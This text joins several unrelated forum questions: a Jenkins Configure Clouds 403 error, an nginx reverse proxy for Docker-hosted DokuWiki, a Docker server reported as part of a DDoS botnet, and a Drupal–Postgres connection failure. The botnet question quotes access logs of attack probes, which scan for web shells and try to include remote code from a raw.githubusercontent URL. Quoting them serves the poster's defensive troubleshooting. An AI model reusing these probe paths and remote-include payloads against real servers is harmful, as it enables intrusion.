123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkConnectionStrategy HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ checkSshKeysCredentialsId HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:48 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkHostKeyVerificationStrategy HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:48 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkConnectionStrategy HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:48 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkConnectionStrategy HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:48 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkHostKeyVerificationStrategy HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:48 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkHostKeyVerificationStrategy HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:48 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ checkSshKeysCredentialsId HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
10.100.20.196 - - [09/Jan/2023:17:22:51 +0800] "GET /jenkins/login HTTP/1.1" 200 619 "-" "ELB-HealthChecker/2.0"
Other things that may be relevant:
I'm running Jenkins version 2.375.1, installed via yum install jenkins.
Can anybody else confirm this issue, or is it only on my machine? What else can I check?
Update
I figured out that a WAF ACL was blocking the HTTP request, causing HTTP 403 response. My bad.

I still have no answer why, but to work around updating the Configure Clouds settings, I had to resort to the following:
SSH into the Jenkins controller.
Manually update config.xml in the $JENKINS_HOME directory.
Safe-restart Jenkins.

Related

NginX reverse proxy (https:8443 to http:80) with multiple sites not working

Been working on this for a few nights and I can't seem to get it to work. This is on my home network where my ISP blocks incoming traffic to TCP-80 & 443 so, I have a couple of sites running on strange ports; don't be alarmed.
My current setup:
I have a Raspberry Pi that runs a couple of wikis via NginX. The sites are available to the outside world via a couple of subdomains (example: https://wiki.somedomain.com:8443/ & https://wiki2.somedomain.com:8443/) and I have a legit wildcard cert for *.somedomain.com. This was a pet project of mine and has been working in the current config for a few years.
Moving the Setup:
The Pi is getting a bit old and I've started playing around with Docker and got my sites moved to a couple of docker containers on a faster and more stable machine that run on TCP-80. Locally, I can hit those via IP and they run fine; they just don't have a cert. My goal was to set up a reverse proxy with my legit cert and have it redirect the traffic, coming in on https:8443 to http:80. As near as I can tell, this is the way of going about this type of setup where you have multiple Docker containers and don't have certs for all of them. If I'm misunderstanding something, stop me right here and tell me I'm wasting my time; the bang-head-here sign on the wall next to me will thank you.
NginX Config:
nginx -t says this config is fine but, clearly, something wrong. If it's logging an error, I don't know where; I've ran a few tail -f commands and found nothing being added. Neither Firefox nor Brave give me any meaningful errors, other than this site can't be reached, as near as I can tell. Any ideas? Am I wasting my time?
# SSL Info
ssl_certificate /etc/letsencrypt/live/cherryblossomfarmette.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cherryblossomfarmette.com/privkey.pem;
## Server Info
# IT Wiki
server {
#listen 80;
listen 8443 ssl;
server_name wiki.cherryblossomfarmette.com;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log warn;
location / {
proxy_pass http://192.168.100.35:8080;
}
}
Docker
Here's one of my docker compose files. The other docker compose file is the same except it listens on 8081.
docker run \
--detach \
--name=dokuwiki-it \
--env "TZ=America/New_York" \
--publish 8080:80 \
--volume "/home/tome/Docker/IT_Wiki/config:/config" \
--restart unless-stopped \
lscr.io/linuxserver/dokuwiki
Access.log - when configured for HTTP:80
When I comment out listen 8443 ssl; and hit the site across the LAN, the site loads and I see records in access.log.
192.168.20.131 - - [19/Jan/2022:19:58:59 -0500] "GET / HTTP/1.1" 200 5250 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:19:58:59 -0500] "GET /lib/exe/taskrunner.php?id=start&1642640339 HTTP/1.1" 200 42 "http://192.168.20.102/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
Access.log - when configured for HTTPS:8443
When I comment out listen 80; and hit the site across the LAN, the site loads and I see records in access.log. Of course, I get the typical the SSL cert nag in the browser because I'm not coming through with the virtual host name like I use from outside the network.
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET / HTTP/1.1" 200 5250 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/logo.png HTTP/1.1" 200 3744 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/exe/css.php?t=dokuwiki&tseed=b378c07b31317225e36675986970a553 HTTP/1.1" 200 39260 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/images/license/button/cc-by-sa.png HTTP/1.1" 200 379 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-donate.gif HTTP/1.1" 200 187 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-css.png HTTP/1.1" 200 297 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-html5.png HTTP/1.1" 200 305 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-dw.png HTTP/1.1" 200 398 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-php.gif HTTP/1.1" 200 207 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/images/email.png HTTP/1.1" 200 370 "https://192.168.20.102:8443/lib/exe/css.php?t=dokuwiki&tseed=b378c07b31317225e36675986970a553" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/images/external-link.png HTTP/1.1" 200 431 "https://192.168.20.102:8443/lib/exe/css.php?t=dokuwiki&tseed=b378c07b31317225e36675986970a553" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/exe/taskrunner.php?id=start&1642640673 HTTP/1.1" 200 42 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/favicon.ico HTTP/1.1" 200 7406 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"

docker container part of botnet via get requests (ddos)

Hi I get an message from my provider that my server is a part of a ddos-botnet. So i investigate my docker containers and found some corrupted containers (jitsi-meet-web (https://github.com/jitsi/docker-jitsi-meet), nextcloud (https://hub.docker.com/_/nextcloud) and a nginx container (https://hub.docker.com/_/nginx)). Someone tries to inject unsecure wordpress files via GET requests.
My question is: How is this possible and what can I do to prevent this from happening again?
The container of Jira, Confluence and Oracle DB & Ords are clean/fine.
My server runs as reverse proxy.
logs:
172.17.0.1 - - [16/Sep/2021:18:09:05 +0000] "GET /style.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:10 +0000] "GET /moduless.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:14 +0000] "GET /wp-content/plugins/t_file_wp/t_file_wp.php?test=hello HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:18 +0000] "GET /admin.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:22 +0000] "GET /index.php?3x=3x HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:24 +0000] "GET /boom.php?x HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:27 +0000] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:31 +0000] "GET /wp-content/db_cache.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:36 +0000] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:39 +0000] "GET /xmlrp.php?url=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:42 +0000] "GET /wpindex.php?idb=https://raw.github
usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:47 +0000] "GET /larva.php?idb=https://raw.github
usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:52 +0000] "GET /th3_err0r.php?php=https://raw.github
usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:56 +0000] "GET /alfindex.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:58 +0000] "GET /alfa.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:07 +0000] "GET /wp-booking.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:11 +0000] "GET /cindex.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:17 +0000] "GET /wp-content/wp-1ogin_bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:21 +0000] "GET /wp-1ogin_bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:26 +0000] "GET /wp-includes/fonts/css.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:32 +0000] "GET /wp-includes/css/css.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:37 +0000] "GET /old-index.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:43 +0000] "GET /config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:48 +0000] "GET /wp-admin/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:51 +0000] "GET /wp-content/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:56 +0000] "GET /wp-includes/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:01 +0000] "GET /wp-content/themes/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:05 +0000] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:13 +0000] "GET /wp-includes/css/wp-config.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:17 +0000] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:21 +0000] "GET /wp-includes/wpconfig.bak.php?act=sf HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:25 +0000] "GET /wp-content/plugins/wpconfig.bak.php?act=sf HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:29 +0000] "GET /haders.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:32 +0000] "GET /wp-content/wp-old-index.php?action=login&pass=-1&submit= HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:39 +0000] "GET /legion.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:43 +0000] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:48 +0000] "GET /wp-includes/lfx.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:53 +0000] "GET /wp-includes/small.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:56 +0000] "GET /up.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:59 +0000] "GET /upload.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:03 +0000] "GET /config.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:05 +0000] "GET /test.php?Ghost=send HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:09 +0000] "GET /wp-content/langar.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:12 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:17 +0000] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:22 +0000] "GET /wp-content/plugins/wpdiscuz/themes/default/style-rtl.css HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
107.189.3.183 - - [16/Sep/2021:18:42:21 +0000] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 154 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.35.1.el6.x86_64" "-"
198.98.55.220 - - [10/Oct/2021:09:13:11 +0000] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 154 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.35.1.el6.x86_64" "-"
172.17.0.1 - - [10/Oct/2021:09:15:43 +0000] "GET /wp-admin/css/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:15:55 +0000] "GET /.well-known/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:16:09 +0000] "GET /sites/default/files/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:16:30 +0000] "GET /admin/controller/extension/extension/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:16:41 +0000] "GET /uploads/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:16:50 +0000] "GET /images/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:17:02 +0000] "GET /files/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
It is very likely that the docker REST API port 2375 was used.
https://www.bleepingcomputer.com/news/security/teamtnt-hackers-target-your-poorly-configured-docker-servers/

Drupal container cannot connect to postgres container

I am following a UDemy course on Docker and have to set up drupal which I can access. However, it cannot find the postgres container. Drupal gives me this error:
Failed to connect to your database server. The server reports the following message: SQLSTATE[08006] [7] could not connect to server: Connection refused Is the server running on host "postgres" (172.18.0.3) and accepting TCP/IP connections on port 5432?.
Both containers are on the default network.
The username, database name, host is postgres, the password is example. The port I'm using is 5432. What do I not understand? Alos, why do have to list the volumes again in the bottom of the compose file?
1 version: '3.3'
2
3 services:
4 drupal:
5 image: drupal:latest
6 ports:
7 - 80:80
8 volumes:
9 - drupal_modules:/var/www/html/modules
10 - drupal_profiles:/var/www/html/profiles
11 - drupal_themes:/var/www/html/themes
12 - drupal_sites:/var/www/html/sites
13 restart: always
14
15 postgres:
16 image: postgres:10
17 environment:
18 POSTGRES_PASSWORD: example
19 restart: always
20
21 volumes:
22 drupal_modules:
23 drupal_profiles:
24 drupal_themes:
25 drupal_sites:
26 db_data:
The dockerfile is
FROM drupal:latest
Postgres container log
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 13:59:53.867543 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 13:59:53.867733 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
Drupal log
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
